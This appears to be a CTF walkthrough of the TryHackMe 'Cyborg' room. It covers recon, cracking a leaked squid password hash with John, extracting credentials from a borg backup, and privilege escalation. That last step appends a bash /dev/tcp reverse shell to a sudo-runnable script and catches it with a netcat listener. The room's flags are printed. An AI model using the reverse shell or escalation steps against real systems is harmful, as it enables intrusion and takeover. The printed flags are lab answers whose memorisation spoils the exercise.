URL : https://tryhackme.com/room/cyborgt8
IP : 10.10.210.57
Recon
- 老梗
nmap -A 10.10.210.5
- Scan the machine, how many ports are open?
2
- What service is running on port 22?
SSH
- What service is running on port 80?
HTTP
python3 dirsearch.py -u http://10.10.210.57/ -e all
/admin/
/etc/
解密
- 先從
/etc/
路徑開始看裡面有啥- http://10.10.210.57/etc
- 找到路徑底下有一個
passwd
- http://10.10.210.57/etc/squid/passwd
music_archive:$apr1$BpZ.Q.1m$F0qqPwHSOG50URuOVQTTn.
- 看起來是 hash 格式,直接複製出來給約翰
john a.txt --wordlist=/opt/rockyou
- 帳號 :
music_archive
- 密碼 :
squidward
- 帳號 :
- http://10.10.210.57/etc/squid/passwd
尋寶
- 去逛
/admin/
- 發現有 Archive 可以下載
- 解開之後發現是一種奇怪格式
- 檔案都是 binary 無法 print
- Readme 提醒我們可以去看 https://borgbackup.readthedocs.io/
- borg 是一種備份程式
- 嘗試簡單的看完說明後
borg list .
- 輸入密碼,剛剛約翰破出來的
squidward
- 可以看到一些資訊
- 輸入密碼,剛剛約翰破出來的
borg mount . ../a
- 把檔案掛載起來
- 發現掛載的檔案裡面有 note
alex:S3cretP@s3
- 看起來就很像帳密
進入系統
- 用 ssh 搭配帳密登入
- 取得 user flag
flag{1_hop3_y0u_ke3p_th3_arch1v3s_saf3}
- 嘗試提權
- 先用 sudo -l 看我們有什麼權限
- 發現我們可以用
sudo
執行/etc/mp3backups/backup.sh
- 觀察權限
- 發現我們是這個檔案的擁有者,但我們不能修改他
- 不過可以透過
chmod +w
新增 Write 權限
- 插入 shell
echo "bash -c 'bash -i >& /dev/tcp/10.13.21.55/7877 0>&1'" >> /etc/mp3backups/backup.sh
- 直接用 reverse shell 插入檔案最下方
- 執行 shell
- 攻擊機開啟監聽
nc -vlk 7877
- 被駭機用 sudo 執行該檔案
sudo /etc/mp3backups/backup.sh
- 拿到 root shell!
- 攻擊機開啟監聽
- 貓根旗幟
flag{Than5s_f0r_play1ng_H0p£_y0u_enJ053d}